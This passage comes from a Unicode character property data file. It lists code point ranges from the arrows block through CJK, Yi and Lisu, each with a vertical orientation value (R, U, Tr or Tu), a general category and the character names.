LEFTWARDS ARROW..LEFT RIGHT ARROW -2195..2199 ; R # So [5] UP DOWN ARROW..SOUTH WEST ARROW -219A..219B ; R # Sm [2] LEFTWARDS ARROW WITH STROKE..RIGHTWARDS ARROW WITH STROKE -219C..219F ; R # So [4] LEFTWARDS WAVE ARROW..UPWARDS TWO HEADED ARROW -21A0 ; R # Sm RIGHTWARDS TWO HEADED ARROW -21A1..21A2 ; R # So [2] DOWNWARDS TWO HEADED ARROW..LEFTWARDS ARROW WITH TAIL -21A3 ; R # Sm RIGHTWARDS ARROW WITH TAIL -21A4..21A5 ; R # So [2] LEFTWARDS ARROW FROM BAR..UPWARDS ARROW FROM BAR -21A6 ; R # Sm RIGHTWARDS ARROW FROM BAR -21A7..21AD ; R # So [7] DOWNWARDS ARROW FROM BAR..LEFT RIGHT WAVE ARROW -21AE ; R # Sm LEFT RIGHT ARROW WITH STROKE -21AF..21CD ; R # So [31] DOWNWARDS ZIGZAG ARROW..LEFTWARDS DOUBLE ARROW WITH STROKE -21CE..21CF ; R # Sm [2] LEFT RIGHT DOUBLE ARROW WITH STROKE..RIGHTWARDS DOUBLE ARROW WITH STROKE -21D0..21D1 ; R # So [2] LEFTWARDS DOUBLE ARROW..UPWARDS DOUBLE ARROW -21D2 ; R # Sm RIGHTWARDS DOUBLE ARROW -21D3 ; R # So DOWNWARDS DOUBLE ARROW -21D4 ; R # Sm LEFT RIGHT DOUBLE ARROW -21D5..21F3 ; R # So [31] UP DOWN DOUBLE ARROW..UP DOWN WHITE ARROW -21F4..21FF ; R # Sm [12] RIGHT ARROW WITH SMALL CIRCLE..LEFT RIGHT OPEN-HEADED ARROW -2200..221D ; R # Sm [30] FOR ALL..PROPORTIONAL TO -221E ; U # Sm INFINITY -221F..2233 ; R # Sm [21] RIGHT ANGLE..ANTICLOCKWISE CONTOUR INTEGRAL -2234..2235 ; U # Sm [2] THEREFORE..BECAUSE -2236..22FF ; R # Sm [202] RATIO..Z NOTATION BAG MEMBERSHIP -2300..2307 ; U # So [8] DIAMETER SIGN..WAVY LINE -2308 ; R # Ps LEFT CEILING -2309 ; R # Pe RIGHT CEILING -230A ; R # Ps LEFT FLOOR -230B ; R # Pe RIGHT FLOOR -230C..231F ; U # So [20] BOTTOM RIGHT CROP..BOTTOM RIGHT CORNER -2320..2321 ; R # Sm [2] TOP HALF INTEGRAL..BOTTOM HALF INTEGRAL -2322..2323 ; R # So [2] FROWN..SMILE -2324..2328 ; U # So [5] UP ARROWHEAD BETWEEN TWO HORIZONTAL BARS..KEYBOARD -2329 ; Tr # Ps LEFT-POINTING ANGLE BRACKET -232A ; Tr # Pe RIGHT-POINTING ANGLE BRACKET -232B ; U # So ERASE TO THE LEFT -232C..237B ; R # So [80] BENZENE RING..NOT CHECK MARK -237C ; R # Sm RIGHT ANGLE WITH DOWNWARDS ZIGZAG ARROW -237D..239A ; U # So [30] SHOULDERED OPEN BOX..CLEAR SCREEN SYMBOL -239B..23B3 ; R # Sm [25] LEFT PARENTHESIS UPPER HOOK..SUMMATION BOTTOM -23B4..23BD ; R # So [10] TOP SQUARE BRACKET..HORIZONTAL SCAN LINE-9 -23BE..23CD ; U # So [16] DENTISTRY SYMBOL LIGHT VERTICAL AND TOP RIGHT..SQUARE FOOT -23CE ; R # So RETURN SYMBOL -23CF ; U # So EJECT SYMBOL -23D0 ; R # So VERTICAL LINE EXTENSION -23D1..23DB ; U # So [11] METRICAL BREVE..FUSE -23DC..23E1 ; R # Sm [6] TOP PARENTHESIS..BOTTOM TORTOISE SHELL BRACKET -23E2..23FF ; U # So [30] WHITE TRAPEZIUM..OBSERVER EYE SYMBOL -2400..2422 ; U # So [35] SYMBOL FOR NULL..BLANK SYMBOL -2423 ; R # So OPEN BOX -2424..2426 ; U # So [3] SYMBOL FOR NEWLINE..SYMBOL FOR SUBSTITUTE FORM TWO -2427..243F ; U # Cn [25] .. -2440..244A ; U # So [11] OCR HOOK..OCR DOUBLE BACKSLASH -244B..245F ; U # Cn [21] .. -2460..249B ; U # No [60] CIRCLED DIGIT ONE..NUMBER TWENTY FULL STOP -249C..24E9 ; U # So [78] PARENTHESIZED LATIN SMALL LETTER A..CIRCLED LATIN SMALL LETTER Z -24EA..24FF ; U # No [22] CIRCLED DIGIT ZERO..NEGATIVE CIRCLED DIGIT ZERO -2500..257F ; R # So [128] BOX DRAWINGS LIGHT HORIZONTAL..BOX DRAWINGS HEAVY UP AND LIGHT DOWN -2580..259F ; R # So [32] UPPER HALF BLOCK..QUADRANT UPPER RIGHT AND LOWER LEFT AND LOWER RIGHT -25A0..25B6 ; U # So [23] BLACK SQUARE..BLACK RIGHT-POINTING TRIANGLE -25B7 ; U # Sm WHITE RIGHT-POINTING TRIANGLE -25B8..25C0 ; U # So [9] BLACK RIGHT-POINTING SMALL TRIANGLE..BLACK LEFT-POINTING TRIANGLE -25C1 ; U # Sm WHITE LEFT-POINTING TRIANGLE -25C2..25F7 ; U # So [54] BLACK LEFT-POINTING SMALL TRIANGLE..WHITE CIRCLE WITH UPPER RIGHT QUADRANT -25F8..25FF ; U # Sm [8] UPPER LEFT TRIANGLE..LOWER RIGHT TRIANGLE -2600..2619 ; U # So [26] BLACK SUN WITH RAYS..REVERSED ROTATED FLORAL HEART BULLET -261A..261F ; R # So [6] BLACK LEFT POINTING INDEX..WHITE DOWN POINTING INDEX -2620..266E ; U # So [79] SKULL AND CROSSBONES..MUSIC NATURAL SIGN -266F ; U # Sm MUSIC SHARP SIGN -2670..26FF ; U # So [144] WEST SYRIAC CROSS..WHITE FLAG WITH HORIZONTAL MIDDLE BLACK STRIPE -2700..2767 ; U # So [104] BLACK SAFETY SCISSORS..ROTATED FLORAL HEART BULLET -2768 ; R # Ps MEDIUM LEFT PARENTHESIS ORNAMENT -2769 ; R # Pe MEDIUM RIGHT PARENTHESIS ORNAMENT -276A ; R # Ps MEDIUM FLATTENED LEFT PARENTHESIS ORNAMENT -276B ; R # Pe MEDIUM FLATTENED RIGHT PARENTHESIS ORNAMENT -276C ; R # Ps MEDIUM LEFT-POINTING ANGLE BRACKET ORNAMENT -276D ; R # Pe MEDIUM RIGHT-POINTING ANGLE BRACKET ORNAMENT -276E ; R # Ps HEAVY LEFT-POINTING ANGLE QUOTATION MARK ORNAMENT -276F ; R # Pe HEAVY RIGHT-POINTING ANGLE QUOTATION MARK ORNAMENT -2770 ; R # Ps HEAVY LEFT-POINTING ANGLE BRACKET ORNAMENT -2771 ; R # Pe HEAVY RIGHT-POINTING ANGLE BRACKET ORNAMENT -2772 ; R # Ps LIGHT LEFT TORTOISE SHELL BRACKET ORNAMENT -2773 ; R # Pe LIGHT RIGHT TORTOISE SHELL BRACKET ORNAMENT -2774 ; R # Ps MEDIUM LEFT CURLY BRACKET ORNAMENT -2775 ; R # Pe MEDIUM RIGHT CURLY BRACKET ORNAMENT -2776..2793 ; U # No [30] DINGBAT NEGATIVE CIRCLED DIGIT ONE..DINGBAT NEGATIVE CIRCLED SANS-SERIF NUMBER TEN -2794..27BF ; R # So [44] HEAVY WIDE-HEADED RIGHTWARDS ARROW..DOUBLE CURLY LOOP -27C0..27C4 ; R # Sm [5] THREE DIMENSIONAL ANGLE..OPEN SUPERSET -27C5 ; R # Ps LEFT S-SHAPED BAG DELIMITER -27C6 ; R # Pe RIGHT S-SHAPED BAG DELIMITER -27C7..27E5 ; R # Sm [31] OR WITH DOT INSIDE..WHITE SQUARE WITH RIGHTWARDS TICK -27E6 ; R # Ps MATHEMATICAL LEFT WHITE SQUARE BRACKET -27E7 ; R # Pe MATHEMATICAL RIGHT WHITE SQUARE BRACKET -27E8 ; R # Ps MATHEMATICAL LEFT ANGLE BRACKET -27E9 ; R # Pe MATHEMATICAL RIGHT ANGLE BRACKET -27EA ; R # Ps MATHEMATICAL LEFT DOUBLE ANGLE BRACKET -27EB ; R # Pe MATHEMATICAL RIGHT DOUBLE ANGLE BRACKET -27EC ; R # Ps MATHEMATICAL LEFT WHITE TORTOISE SHELL BRACKET -27ED ; R # Pe MATHEMATICAL RIGHT WHITE TORTOISE SHELL BRACKET -27EE ; R # Ps MATHEMATICAL LEFT FLATTENED PARENTHESIS -27EF ; R # Pe MATHEMATICAL RIGHT FLATTENED PARENTHESIS -27F0..27FF ; R # Sm [16] UPWARDS QUADRUPLE ARROW..LONG RIGHTWARDS SQUIGGLE ARROW -2800..28FF ; R # So [256] BRAILLE PATTERN BLANK..BRAILLE PATTERN DOTS-12345678 -2900..297F ; R # Sm [128] RIGHTWARDS TWO-HEADED ARROW WITH VERTICAL STROKE..DOWN FISH TAIL -2980..2982 ; R # Sm [3] TRIPLE VERTICAL BAR DELIMITER..Z NOTATION TYPE COLON -2983 ; R # Ps LEFT WHITE CURLY BRACKET -2984 ; R # Pe RIGHT WHITE CURLY BRACKET -2985 ; R # Ps LEFT WHITE PARENTHESIS -2986 ; R # Pe RIGHT WHITE PARENTHESIS -2987 ; R # Ps Z NOTATION LEFT IMAGE BRACKET -2988 ; R # Pe Z NOTATION RIGHT IMAGE BRACKET -2989 ; R # Ps Z NOTATION LEFT BINDING BRACKET -298A ; R # Pe Z NOTATION RIGHT BINDING BRACKET -298B ; R # Ps LEFT SQUARE BRACKET WITH UNDERBAR -298C ; R # Pe RIGHT SQUARE BRACKET WITH UNDERBAR -298D ; R # Ps LEFT SQUARE BRACKET WITH TICK IN TOP CORNER -298E ; R # Pe RIGHT SQUARE BRACKET WITH TICK IN BOTTOM CORNER -298F ; R # Ps LEFT SQUARE BRACKET WITH TICK IN BOTTOM CORNER -2990 ; R # Pe RIGHT SQUARE BRACKET WITH TICK IN TOP CORNER -2991 ; R # Ps LEFT ANGLE BRACKET WITH DOT -2992 ; R # Pe RIGHT ANGLE BRACKET WITH DOT -2993 ; R # Ps LEFT ARC LESS-THAN BRACKET -2994 ; R # Pe RIGHT ARC GREATER-THAN BRACKET -2995 ; R # Ps DOUBLE LEFT ARC GREATER-THAN BRACKET -2996 ; R # Pe DOUBLE RIGHT ARC LESS-THAN BRACKET -2997 ; R # Ps LEFT BLACK TORTOISE SHELL BRACKET -2998 ; R # Pe RIGHT BLACK TORTOISE SHELL BRACKET -2999..29D7 ; R # Sm [63] DOTTED FENCE..BLACK HOURGLASS -29D8 ; R # Ps LEFT WIGGLY FENCE -29D9 ; R # Pe RIGHT WIGGLY FENCE -29DA ; R # Ps LEFT DOUBLE WIGGLY FENCE -29DB ; R # Pe RIGHT DOUBLE WIGGLY FENCE -29DC..29FB ; R # Sm [32] INCOMPLETE INFINITY..TRIPLE PLUS -29FC ; R # Ps LEFT-POINTING CURVED ANGLE BRACKET -29FD ; R # Pe RIGHT-POINTING CURVED ANGLE BRACKET -29FE..29FF ; R # Sm [2] TINY..MINY -2A00..2AFF ; R # Sm [256] N-ARY CIRCLED DOT OPERATOR..N-ARY WHITE VERTICAL BAR -2B00..2B11 ; R # So [18] NORTH EAST WHITE ARROW..LEFTWARDS ARROW WITH TIP UPWARDS -2B12..2B2F ; U # So [30] SQUARE WITH TOP HALF BLACK..WHITE VERTICAL ELLIPSE -2B30..2B44 ; R # Sm [21] LEFT ARROW WITH SMALL CIRCLE..RIGHTWARDS ARROW THROUGH SUPERSET -2B45..2B46 ; R # So [2] LEFTWARDS QUADRUPLE ARROW..RIGHTWARDS QUADRUPLE ARROW -2B47..2B4C ; R # Sm [6] REVERSE TILDE OPERATOR ABOVE RIGHTWARDS ARROW..RIGHTWARDS ARROW ABOVE REVERSE TILDE OPERATOR -2B4D..2B4F ; R # So [3] DOWNWARDS TRIANGLE-HEADED ZIGZAG ARROW..SHORT BACKSLANTED SOUTH ARROW -2B50..2B59 ; U # So [10] WHITE MEDIUM STAR..HEAVY CIRCLED SALTIRE -2B5A..2B73 ; R # So [26] SLANTED NORTH ARROW WITH HOOKED HEAD..DOWNWARDS TRIANGLE-HEADED ARROW TO BAR -2B76..2B95 ; R # So [32] NORTH WEST TRIANGLE-HEADED ARROW TO BAR..RIGHTWARDS BLACK ARROW -2B98..2BB7 ; R # So [32] THREE-D TOP-LIGHTED LEFTWARDS EQUILATERAL ARROWHEAD..RIBBON ARROW RIGHT DOWN -2BB8..2BB9 ; U # So [2] UPWARDS WHITE ARROW FROM BAR WITH HORIZONTAL BAR..UP ARROWHEAD IN A RECTANGLE BOX -2BBA..2BBC ; U # Cn [3] .. -2BBD..2BC8 ; U # So [12] BALLOT BOX WITH LIGHT X..BLACK MEDIUM RIGHT-POINTING TRIANGLE CENTRED -2BC9 ; U # Cn -2BCA..2BD1 ; U # So [8] TOP HALF BLACK CIRCLE..UNCERTAINTY SIGN -2BD2 ; R # So GROUP MARK -2BD3..2BEB ; U # Cn [25] .. -2BEC..2BEF ; R # So [4] LEFTWARDS TWO-HEADED ARROW WITH TRIANGLE ARROWHEADS..DOWNWARDS TWO-HEADED ARROW WITH TRIANGLE ARROWHEADS -2BF0..2BFF ; U # Cn [16] .. -2C00..2C2E ; R # Lu [47] GLAGOLITIC CAPITAL LETTER AZU..GLAGOLITIC CAPITAL LETTER LATINATE MYSLITE -2C30..2C5E ; R # Ll [47] GLAGOLITIC SMALL LETTER AZU..GLAGOLITIC SMALL LETTER LATINATE MYSLITE -2C60..2C7B ; R # L& [28] LATIN CAPITAL LETTER L WITH DOUBLE BAR..LATIN LETTER SMALL CAPITAL TURNED E -2C7C..2C7D ; R # Lm [2] LATIN SUBSCRIPT SMALL LETTER J..MODIFIER LETTER CAPITAL V -2C7E..2C7F ; R # Lu [2] LATIN CAPITAL LETTER S WITH SWASH TAIL..LATIN CAPITAL LETTER Z WITH SWASH TAIL -2C80..2CE4 ; R # L& [101] COPTIC CAPITAL LETTER ALFA..COPTIC SYMBOL KAI -2CE5..2CEA ; R # So [6] COPTIC SYMBOL MI RO..COPTIC SYMBOL SHIMA SIMA -2CEB..2CEE ; R # L& [4] COPTIC CAPITAL LETTER CRYPTOGRAMMIC SHEI..COPTIC SMALL LETTER CRYPTOGRAMMIC GANGIA -2CEF..2CF1 ; R # Mn [3] COPTIC COMBINING NI ABOVE..COPTIC COMBINING SPIRITUS LENIS -2CF2..2CF3 ; R # L& [2] COPTIC CAPITAL LETTER BOHAIRIC KHEI..COPTIC SMALL LETTER BOHAIRIC KHEI -2CF9..2CFC ; R # Po [4] COPTIC OLD NUBIAN FULL STOP..COPTIC OLD NUBIAN VERSE DIVIDER -2CFD ; R # No COPTIC FRACTION ONE HALF -2CFE..2CFF ; R # Po [2] COPTIC FULL STOP..COPTIC MORPHOLOGICAL DIVIDER -2D00..2D25 ; R # Ll [38] GEORGIAN SMALL LETTER AN..GEORGIAN SMALL LETTER HOE -2D27 ; R # Ll GEORGIAN SMALL LETTER YN -2D2D ; R # Ll GEORGIAN SMALL LETTER AEN -2D30..2D67 ; R # Lo [56] TIFINAGH LETTER YA..TIFINAGH LETTER YO -2D6F ; R # Lm TIFINAGH MODIFIER LETTER LABIALIZATION MARK -2D70 ; R # Po TIFINAGH SEPARATOR MARK -2D7F ; R # Mn TIFINAGH CONSONANT JOINER -2D80..2D96 ; R # Lo [23] ETHIOPIC SYLLABLE LOA..ETHIOPIC SYLLABLE GGWE -2DA0..2DA6 ; R # Lo [7] ETHIOPIC SYLLABLE SSA..ETHIOPIC SYLLABLE SSO -2DA8..2DAE ; R # Lo [7] ETHIOPIC SYLLABLE CCA..ETHIOPIC SYLLABLE CCO -2DB0..2DB6 ; R # Lo [7] ETHIOPIC SYLLABLE ZZA..ETHIOPIC SYLLABLE ZZO -2DB8..2DBE ; R # Lo [7] ETHIOPIC SYLLABLE CCHA..ETHIOPIC SYLLABLE CCHO -2DC0..2DC6 ; R # Lo [7] ETHIOPIC SYLLABLE QYA..ETHIOPIC SYLLABLE QYO -2DC8..2DCE ; R # Lo [7] ETHIOPIC SYLLABLE KYA..ETHIOPIC SYLLABLE KYO -2DD0..2DD6 ; R # Lo [7] ETHIOPIC SYLLABLE XYA..ETHIOPIC SYLLABLE XYO -2DD8..2DDE ; R # Lo [7] ETHIOPIC SYLLABLE GYA..ETHIOPIC SYLLABLE GYO -2DE0..2DFF ; R # Mn [32] COMBINING CYRILLIC LETTER BE..COMBINING CYRILLIC LETTER IOTIFIED BIG YUS -2E00..2E01 ; R # Po [2] RIGHT ANGLE SUBSTITUTION MARKER..RIGHT ANGLE DOTTED SUBSTITUTION MARKER -2E02 ; R # Pi LEFT SUBSTITUTION BRACKET -2E03 ; R # Pf RIGHT SUBSTITUTION BRACKET -2E04 ; R # Pi LEFT DOTTED SUBSTITUTION BRACKET -2E05 ; R # Pf RIGHT DOTTED SUBSTITUTION BRACKET -2E06..2E08 ; R # Po [3] RAISED INTERPOLATION MARKER..DOTTED TRANSPOSITION MARKER -2E09 ; R # Pi LEFT TRANSPOSITION BRACKET -2E0A ; R # Pf RIGHT TRANSPOSITION BRACKET -2E0B ; R # Po RAISED SQUARE -2E0C ; R # Pi LEFT RAISED OMISSION BRACKET -2E0D ; R # Pf RIGHT RAISED OMISSION BRACKET -2E0E..2E16 ; R # Po [9] EDITORIAL CORONIS..DOTTED RIGHT-POINTING ANGLE -2E17 ; R # Pd DOUBLE OBLIQUE HYPHEN -2E18..2E19 ; R # Po [2] INVERTED INTERROBANG..PALM BRANCH -2E1A ; R # Pd HYPHEN WITH DIAERESIS -2E1B ; R # Po TILDE WITH RING ABOVE -2E1C ; R # Pi LEFT LOW PARAPHRASE BRACKET -2E1D ; R # Pf RIGHT LOW PARAPHRASE BRACKET -2E1E..2E1F ; R # Po [2] TILDE WITH DOT ABOVE..TILDE WITH DOT BELOW -2E20 ; R # Pi LEFT VERTICAL BAR WITH QUILL -2E21 ; R # Pf RIGHT VERTICAL BAR WITH QUILL -2E22 ; R # Ps TOP LEFT HALF BRACKET -2E23 ; R # Pe TOP RIGHT HALF BRACKET -2E24 ; R # Ps BOTTOM LEFT HALF BRACKET -2E25 ; R # Pe BOTTOM RIGHT HALF BRACKET -2E26 ; R # Ps LEFT SIDEWAYS U BRACKET -2E27 ; R # Pe RIGHT SIDEWAYS U BRACKET -2E28 ; R # Ps LEFT DOUBLE PARENTHESIS -2E29 ; R # Pe RIGHT DOUBLE PARENTHESIS -2E2A..2E2E ; R # Po [5] TWO DOTS OVER ONE DOT PUNCTUATION..REVERSED QUESTION MARK -2E2F ; R # Lm VERTICAL TILDE -2E30..2E39 ; R # Po [10] RING POINT..TOP HALF SECTION SIGN -2E3A..2E3B ; R # Pd [2] TWO-EM DASH..THREE-EM DASH -2E3C..2E3F ; R # Po [4] STENOGRAPHIC FULL STOP..CAPITULUM -2E40 ; R # Pd DOUBLE HYPHEN -2E41 ; R # Po REVERSED COMMA -2E42 ; R # Ps DOUBLE LOW-REVERSED-9 QUOTATION MARK -2E43..2E49 ; R # Po [7] DASH WITH LEFT UPTURN..DOUBLE STACKED COMMA -2E80..2E99 ; U # So [26] CJK RADICAL REPEAT..CJK RADICAL RAP -2E9A ; U # Cn -2E9B..2EF3 ; U # So [89] CJK RADICAL CHOKE..CJK RADICAL C-SIMPLIFIED TURTLE -2EF4..2EFF ; U # Cn [12] .. -2F00..2FD5 ; U # So [214] KANGXI RADICAL ONE..KANGXI RADICAL FLUTE -2FD6..2FDF ; U # Cn [10] .. -2FE0..2FEF ; U # Cn [16] .. -2FF0..2FFB ; U # So [12] IDEOGRAPHIC DESCRIPTION CHARACTER LEFT TO RIGHT..IDEOGRAPHIC DESCRIPTION CHARACTER OVERLAID -2FFC..2FFF ; U # Cn [4] .. -3000 ; U # Zs IDEOGRAPHIC SPACE -3001..3002 ; Tu # Po [2] IDEOGRAPHIC COMMA..IDEOGRAPHIC FULL STOP -3003 ; U # Po DITTO MARK -3004 ; U # So JAPANESE INDUSTRIAL STANDARD SYMBOL -3005 ; U # Lm IDEOGRAPHIC ITERATION MARK -3006 ; U # Lo IDEOGRAPHIC CLOSING MARK -3007 ; U # Nl IDEOGRAPHIC NUMBER ZERO -3008 ; Tr # Ps LEFT ANGLE BRACKET -3009 ; Tr # Pe RIGHT ANGLE BRACKET -300A ; Tr # Ps LEFT DOUBLE ANGLE BRACKET -300B ; Tr # Pe RIGHT DOUBLE ANGLE BRACKET -300C ; Tr # Ps LEFT CORNER BRACKET -300D ; Tr # Pe RIGHT CORNER BRACKET -300E ; Tr # Ps LEFT WHITE CORNER BRACKET -300F ; Tr # Pe RIGHT WHITE CORNER BRACKET -3010 ; Tr # Ps LEFT BLACK LENTICULAR BRACKET -3011 ; Tr # Pe RIGHT BLACK LENTICULAR BRACKET -3012..3013 ; U # So [2] POSTAL MARK..GETA MARK -3014 ; Tr # Ps LEFT TORTOISE SHELL BRACKET -3015 ; Tr # Pe RIGHT TORTOISE SHELL BRACKET -3016 ; Tr # Ps LEFT WHITE LENTICULAR BRACKET -3017 ; Tr # Pe RIGHT WHITE LENTICULAR BRACKET -3018 ; Tr # Ps LEFT WHITE TORTOISE SHELL BRACKET -3019 ; Tr # Pe RIGHT WHITE TORTOISE SHELL BRACKET -301A ; Tr # Ps LEFT WHITE SQUARE BRACKET -301B ; Tr # Pe RIGHT WHITE SQUARE BRACKET -301C ; Tr # Pd WAVE DASH -301D ; Tr # Ps REVERSED DOUBLE PRIME QUOTATION MARK -301E..301F ; Tr # Pe [2] DOUBLE PRIME QUOTATION MARK..LOW DOUBLE PRIME QUOTATION MARK -3020 ; U # So POSTAL MARK FACE -3021..3029 ; U # Nl [9] HANGZHOU NUMERAL ONE..HANGZHOU NUMERAL NINE -302A..302D ; U # Mn [4] IDEOGRAPHIC LEVEL TONE MARK..IDEOGRAPHIC ENTERING TONE MARK -302E..302F ; U # Mc [2] HANGUL SINGLE DOT TONE MARK..HANGUL DOUBLE DOT TONE MARK -3030 ; Tr # Pd WAVY DASH -3031..3035 ; U # Lm [5] VERTICAL KANA REPEAT MARK..VERTICAL KANA REPEAT MARK LOWER HALF -3036..3037 ; U # So [2] CIRCLED POSTAL MARK..IDEOGRAPHIC TELEGRAPH LINE FEED SEPARATOR SYMBOL -3038..303A ; U # Nl [3] HANGZHOU NUMERAL TEN..HANGZHOU NUMERAL THIRTY -303B ; U # Lm VERTICAL IDEOGRAPHIC ITERATION MARK -303C ; U # Lo MASU MARK -303D ; U # Po PART ALTERNATION MARK -303E..303F ; U # So [2] IDEOGRAPHIC VARIATION INDICATOR..IDEOGRAPHIC HALF FILL SPACE -3040 ; U # Cn -3041 ; Tu # Lo HIRAGANA LETTER SMALL A -3042 ; U # Lo HIRAGANA LETTER A -3043 ; Tu # Lo HIRAGANA LETTER SMALL I -3044 ; U # Lo HIRAGANA LETTER I -3045 ; Tu # Lo HIRAGANA LETTER SMALL U -3046 ; U # Lo HIRAGANA LETTER U -3047 ; Tu # Lo HIRAGANA LETTER SMALL E -3048 ; U # Lo HIRAGANA LETTER E -3049 ; Tu # Lo HIRAGANA LETTER SMALL O -304A..3062 ; U # Lo [25] HIRAGANA LETTER O..HIRAGANA LETTER DI -3063 ; Tu # Lo HIRAGANA LETTER SMALL TU -3064..3082 ; U # Lo [31] HIRAGANA LETTER TU..HIRAGANA LETTER MO -3083 ; Tu # Lo HIRAGANA LETTER SMALL YA -3084 ; U # Lo HIRAGANA LETTER YA -3085 ; Tu # Lo HIRAGANA LETTER SMALL YU -3086 ; U # Lo HIRAGANA LETTER YU -3087 ; Tu # Lo HIRAGANA LETTER SMALL YO -3088..308D ; U # Lo [6] HIRAGANA LETTER YO..HIRAGANA LETTER RO -308E ; Tu # Lo HIRAGANA LETTER SMALL WA -308F..3094 ; U # Lo [6] HIRAGANA LETTER WA..HIRAGANA LETTER VU -3095..3096 ; Tu # Lo [2] HIRAGANA LETTER SMALL KA..HIRAGANA LETTER SMALL KE -3097..3098 ; U # Cn [2] .. -3099..309A ; U # Mn [2] COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK..COMBINING KATAKANA-HIRAGANA SEMI-VOICED SOUND MARK -309B..309C ; Tu # Sk [2] KATAKANA-HIRAGANA VOICED SOUND MARK..KATAKANA-HIRAGANA SEMI-VOICED SOUND MARK -309D..309E ; U # Lm [2] HIRAGANA ITERATION MARK..HIRAGANA VOICED ITERATION MARK -309F ; U # Lo HIRAGANA DIGRAPH YORI -30A0 ; Tr # Pd KATAKANA-HIRAGANA DOUBLE HYPHEN -30A1 ; Tu # Lo KATAKANA LETTER SMALL A -30A2 ; U # Lo KATAKANA LETTER A -30A3 ; Tu # Lo KATAKANA LETTER SMALL I -30A4 ; U # Lo KATAKANA LETTER I -30A5 ; Tu # Lo KATAKANA LETTER SMALL U -30A6 ; U # Lo KATAKANA LETTER U -30A7 ; Tu # Lo KATAKANA LETTER SMALL E -30A8 ; U # Lo KATAKANA LETTER E -30A9 ; Tu # Lo KATAKANA LETTER SMALL O -30AA..30C2 ; U # Lo [25] KATAKANA LETTER O..KATAKANA LETTER DI -30C3 ; Tu # Lo KATAKANA LETTER SMALL TU -30C4..30E2 ; U # Lo [31] KATAKANA LETTER TU..KATAKANA LETTER MO -30E3 ; Tu # Lo KATAKANA LETTER SMALL YA -30E4 ; U # Lo KATAKANA LETTER YA -30E5 ; Tu # Lo KATAKANA LETTER SMALL YU -30E6 ; U # Lo KATAKANA LETTER YU -30E7 ; Tu # Lo KATAKANA LETTER SMALL YO -30E8..30ED ; U # Lo [6] KATAKANA LETTER YO..KATAKANA LETTER RO -30EE ; Tu # Lo KATAKANA LETTER SMALL WA -30EF..30F4 ; U # Lo [6] KATAKANA LETTER WA..KATAKANA LETTER VU -30F5..30F6 ; Tu # Lo [2] KATAKANA LETTER SMALL KA..KATAKANA LETTER SMALL KE -30F7..30FA ; U # Lo [4] KATAKANA LETTER VA..KATAKANA LETTER VO -30FB ; U # Po KATAKANA MIDDLE DOT -30FC ; Tr # Lm KATAKANA-HIRAGANA PROLONGED SOUND MARK -30FD..30FE ; U # Lm [2] KATAKANA ITERATION MARK..KATAKANA VOICED ITERATION MARK -30FF ; U # Lo KATAKANA DIGRAPH KOTO -3100..3104 ; U # Cn [5] .. -3105..3126 ; U # Lo [34] BOPOMOFO LETTER B..BOPOMOFO LETTER ER -3127 ; Tu # Lo BOPOMOFO LETTER I -3128..312E ; U # Lo [7] BOPOMOFO LETTER U..BOPOMOFO LETTER O WITH DOT ABOVE -312F ; U # Cn -3130 ; U # Cn -3131..318E ; U # Lo [94] HANGUL LETTER KIYEOK..HANGUL LETTER ARAEAE -318F ; U # Cn -3190..3191 ; U # So [2] IDEOGRAPHIC ANNOTATION LINKING MARK..IDEOGRAPHIC ANNOTATION REVERSE MARK -3192..3195 ; U # No [4] IDEOGRAPHIC ANNOTATION ONE MARK..IDEOGRAPHIC ANNOTATION FOUR MARK -3196..319F ; U # So [10] IDEOGRAPHIC ANNOTATION TOP MARK..IDEOGRAPHIC ANNOTATION MAN MARK -31A0..31BA ; U # Lo [27] BOPOMOFO LETTER BU..BOPOMOFO LETTER ZY -31BB..31BF ; U # Cn [5] .. -31C0..31E3 ; U # So [36] CJK STROKE T..CJK STROKE Q -31E4..31EF ; U # Cn [12] .. -31F0..31FF ; Tu # Lo [16] KATAKANA LETTER SMALL KU..KATAKANA LETTER SMALL RO -3200..321E ; U # So [31] PARENTHESIZED HANGUL KIYEOK..PARENTHESIZED KOREAN CHARACTER O HU -321F ; U # Cn -3220..3229 ; U # No [10] PARENTHESIZED IDEOGRAPH ONE..PARENTHESIZED IDEOGRAPH TEN -322A..3247 ; U # So [30] PARENTHESIZED IDEOGRAPH MOON..CIRCLED IDEOGRAPH KOTO -3248..324F ; U # No [8] CIRCLED NUMBER TEN ON BLACK SQUARE..CIRCLED NUMBER EIGHTY ON BLACK SQUARE -3250 ; U # So PARTNERSHIP SIGN -3251..325F ; U # No [15] CIRCLED NUMBER TWENTY ONE..CIRCLED NUMBER THIRTY FIVE -3260..327F ; U # So [32] CIRCLED HANGUL KIYEOK..KOREAN STANDARD SYMBOL -3280..3289 ; U # No [10] CIRCLED IDEOGRAPH ONE..CIRCLED IDEOGRAPH TEN -328A..32B0 ; U # So [39] CIRCLED IDEOGRAPH MOON..CIRCLED IDEOGRAPH NIGHT -32B1..32BF ; U # No [15] CIRCLED NUMBER THIRTY SIX..CIRCLED NUMBER FIFTY -32C0..32FE ; U # So [63] IDEOGRAPHIC TELEGRAPH SYMBOL FOR JANUARY..CIRCLED KATAKANA WO -32FF ; U # Cn -3300..3357 ; Tu # So [88] SQUARE APAATO..SQUARE WATTO -3358..337A ; U # So [35] IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR ZERO..SQUARE IU -337B..337F ; Tu # So [5] SQUARE ERA NAME HEISEI..SQUARE CORPORATION -3380..33FF ; U # So [128] SQUARE PA AMPS..SQUARE GAL -3400..4DB5 ; U # Lo [6582] CJK UNIFIED IDEOGRAPH-3400..CJK UNIFIED IDEOGRAPH-4DB5 -4DB6..4DBF ; U # Cn [10] .. -4DC0..4DFF ; U # So [64] HEXAGRAM FOR THE CREATIVE HEAVEN..HEXAGRAM FOR BEFORE COMPLETION -4E00..9FEA ; U # Lo [20971] CJK UNIFIED IDEOGRAPH-4E00..CJK UNIFIED IDEOGRAPH-9FEA -9FEB..9FFF ; U # Cn [21] .. -A000..A014 ; U # Lo [21] YI SYLLABLE IT..YI SYLLABLE E -A015 ; U # Lm YI SYLLABLE WU -A016..A48C ; U # Lo [1143] YI SYLLABLE BIT..YI SYLLABLE YYR -A48D..A48F ; U # Cn [3] .. -A490..A4C6 ; U # So [55] YI RADICAL QOT..YI RADICAL KE -A4C7..A4CF ; U # Cn [9] .. -A4D0..A4F7 ; R # Lo [40] LISU LETTER BA..LISU LETTER OE -A4F8..A4FD ; R # Lm [6] LISU LETTER TONE MYA TI..LISU LETTER TONE MYA JEU -A4FE..A4FF ; R # Po [2] LISU PUNCTUATION 